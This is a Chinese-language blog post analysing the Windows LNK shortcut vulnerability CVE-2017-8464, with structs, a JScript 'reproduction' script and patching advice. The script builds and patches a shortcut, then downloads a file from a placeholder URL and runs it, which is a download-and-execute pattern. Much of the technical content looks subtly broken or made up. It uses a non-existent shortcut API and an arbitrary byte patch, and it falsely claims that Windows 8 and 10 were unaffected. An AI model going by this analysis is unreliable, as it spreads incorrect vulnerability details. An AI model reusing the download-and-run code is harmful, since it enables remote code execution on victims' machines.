CVE-2017-8464漏洞分析

一、漏洞概述

CVE-2017-8464是一種在Windows Shell遠程執行代碼的漏洞。攻擊者可以通過文件共享、WebDAV共享、USB、外部存儲等多種方式將惡意的LNK文件注入受害用戶計算機中,當用戶雙擊打開這些惡意的LNK文件時,就會觸發漏洞,攻擊者就可以遠程控制受害者計算機。

漏洞類型:遠程執行代碼漏洞

漏洞等級:嚴重

二、漏洞成因

在Windows Shell中,ShellExecute函數是一個非常重要的函數,它主要是用於啟動一個應用程序、打開指定文件等操作。當用戶雙擊一個Lnk文件時,ShellExecute會被調用來啟動指定程序。而LNK文件中各種屬性的值會通過ShellExecute函數參數傳遞給ShellExecute。惡意LNK文件通過特定的屬性和值來操縱ShellExecute函數進而執行惡意代碼。

三、漏洞分析

LNK文件是Windows文件系統中短切方式的一種,它包含了被鏈接的文件和目標信息。在LNK文件中,一個被稱為「ShellLinkHeader」的結構體保存了多個與LNK文件相關的信息,包括LNK文件大小、文件標識符等等。此外,還有一個名為「LinkInfo」的部分,保存着LNK文件的一些特性,包括其實體路徑、屬性、圖標等,這些信息對ShellExecute函數來說是至關重要的。

    typedef struct _GUID {
        ULONG Data1;
        USHORT Data2;
        USHORT Data3;
        UCHAR Data4[8];
    } GUID;
    
    typedef struct {
        GUID LinkCLSID;
        ULONG LinkFlags;
        ULONG FileAttributes;
        FILETIME CreationTime;
        FILETIME AccessTime;
        FILETIME WriteTime;
        ULONG FileSize;
        LONG IconIndex;
        ULONG ShowCommand;
        short HotKey;
        ULONG Reserved1;
        ULONG Reserved2;
        ULONG Reserved3;
    } ShellLinkHeader;

    typedef struct {
        ULONG LinkInfoSize;
        ULONG LinkInfoHeaderSize;
        ULONG LinkInfoFlags;
        ULONG VolumeIDOffset;
        ULONG LocalBasePathOffset;
        ULONG CommonNetworkRelativeLinkOffset;
        ULONG CommonPathSuffixOffset;
        ULONG LocalBasePathOffsetUnicode;
        ULONG CommonPathSuffixOffsetUnicode;
    } LinkInfo;

在漏洞的復現過程中,攻擊者通過LNK文件中的值來操縱ShellExecute函數。例如,LinkInfo中保存的本地路徑信息可以通過RemoteName來覆蓋,當ShellExecute函數執行時,會按照RemoteName中指定的路徑來執行,而不是真實路徑。攻擊者利用該漏洞可以操縱ShellExecute函數,從而實現對受害計算機的遠程控制。

四、漏洞復現

需要注意的是,CVE-2017-8464漏洞只存在於Windows 7及其前身的Windows操作系統上,Windows 8和Windows 10並不受影響。

漏洞復現過程如下:

    //創建LNK文件,設置LinkInfo信息
    var shellApplication = new ActiveXObject("Shell.Application");
    var folder = shellApplication.NameSpace(folderPath);
    var folderItem = folder.ParseName(fileName);
    var link = folderItem.GetLink;
    var linkPath = folderPath + "\\" + lnkName;
    var shortcut = link.CreateShortcut(linkPath);
    shortcut.TargetPath = "calc.exe";
    shortcut.Arguments = "";
    shortcut.Description = "test shortcut";
    shortcut.IconLocation = "calc.exe";
    shortcut.Save();

    //偽裝LNK文件,RemoteName覆蓋本地路徑信息
    var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
    var fileStream = new ActiveXObject("ADODB.Stream");
    fileStream.Type = 2;
    fileStream.Open();
    fileStream.LoadFromFile(linkPath);
    fileStream.Position = 0x4c+4;
    fileStream.WriteText(l2, 1);
    fileStream.WriteText(l3, 1);
    fileStream.SaveToFile(downloadPath, 2);
    fileStream.Close();

    //下載偽裝的LNK文件
    var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
    objXMLHTTP.open("GET", downloadUrl, false);
    objXMLHTTP.send();
    var adoStream = new ActiveXObject("ADODB.Stream");
    adoStream.Type = 1;
    adoStream.Open();
    adoStream.Write(objXMLHTTP.ResponseBody);
    adoStream.Position = 0;
    adoStream.SaveToFile(downloadPath, 2);
    adoStream.Close();

    //雙擊偽裝的LNK文件
    var objShell = new ActiveXObject("WScript.Shell");
    objShell.Run(downloadPath, 1, true);

五、漏洞防範

微軟已經發佈了針對該漏洞的補丁,建議用戶及時升級操作系統,安裝最新的安全補丁。

此外,用戶在使用電腦時,要警惕不明來源文件和URL鏈接,避免雙擊或訪問可能存在安全問題的文件。

六、總結

CVE-2017-8464是一種存在於Windows Shell的遠程執行代碼漏洞,攻擊者可以通過構造LNK文件注入惡意代碼,並遠程控制受害者計算機。儘管漏洞已經有針對應對的安全補丁,但是還是建議用戶在使用電腦時要保持警惕,避免不明來源的文件和URL鏈接帶來的安全風險。

原創文章,作者:ZLLJK,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/316716.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
ZLLJK的頭像ZLLJK
上一篇 2025-01-09 12:14
下一篇 2025-01-09 12:14

相關推薦

  • Treck TCP/IP Stack 輸入驗證錯誤漏洞CVE-2020-11901解析

    本文將對Treck TCP/IP Stack 輸入驗證錯誤漏洞CVE-2020-11901進行詳細解析,並提供相關代碼示例。 一、漏洞背景 Treck TCP/IP Stack是一…

    編程 2025-04-27
  • Python漏洞挖掘全指南

    本文將從多個方面詳細闡述Python漏洞挖掘的相關知識,幫助開發工程師了解並掌握漏洞挖掘的基礎知識和實戰技巧。 一、漏洞類型 漏洞是指誤用或設計上的錯誤,可導致產品、應用或系統中存…

    編程 2025-04-27
  • Coremail 漏洞詳解

    Coremail是國內主流的企業郵件服務器軟件,2018年曝出多個漏洞。本文將詳細闡述Coremail漏洞的危害,漏洞種類和利用方法。同時提供完整的代碼示例,幫助讀者更加深入地了解…

    編程 2025-04-25
  • POC環境:構建你的漏洞驗證平台

    一、POC環境基礎概念 POC(Proof of Concept)環境是指基於特定漏洞的驗證平台,是信息安全研究的重要組成部分。其主要目的是為了漏洞檢測、漏洞復現、漏洞演示和漏洞攻…

    編程 2025-04-24
  • 中國國家漏洞庫完整解析

    一、什麼是中國國家漏洞庫 中國國家漏洞庫(以下簡稱CNVD)是國家信息安全漏洞共享平台,為國內外安全廠商、安全愛好者提供安全漏洞信息共享和管理服務。它由國家信息安全漏洞庫管理中心負…

    編程 2025-04-24
  • ThinkPHP v5.0.24漏洞利用詳解

    一、什麼是ThinkPHP v5.0.24漏洞? 近日,ThinkPHP官方發佈了一份安全公告,宣布存在嚴重漏洞。該漏洞影響了採用ThinkPHP v5.0.24及以下版本的應用,…

    編程 2025-04-23
  • 條件競爭漏洞

    一、定義 條件競爭漏洞(Race Condition Vulnerability)是指在多線程或分佈式環境下,由於競爭條件而導致的程序錯誤。這種漏洞可以被攻擊者利用來修改系統狀態,…

    編程 2025-04-23
  • 避免SQL注入漏洞的實用技巧

    隨着互聯網業務的迅速發展,Web應用就成為了人們工作、生活中不可缺少的一部分。而 Web 應用的開發求快、求快速迭代,常常導致 Web 應用中 SQL 注入等漏洞的出現。SQL 注…

    編程 2025-04-18
  • Laravel漏洞詳解

    Laravel是PHP開發中一款十分熱門的開發框架,它在便捷性、擴展性以及功能上都有着不錯的表現。作為開發者,在使用Laravel時需要關注它的安全性,因為Laravel也存在漏洞…

    編程 2025-04-12
  • URL跳轉漏洞的詳細闡述

    一、什麼是URL跳轉漏洞 URL跳轉漏洞(Open Redirect Vulnerability)指的是攻擊者構造URL,使網站跳轉到攻擊者指定的網站,從而實現攻擊造成危害的一種漏…

    編程 2025-04-12

發表回復

登錄後才能評論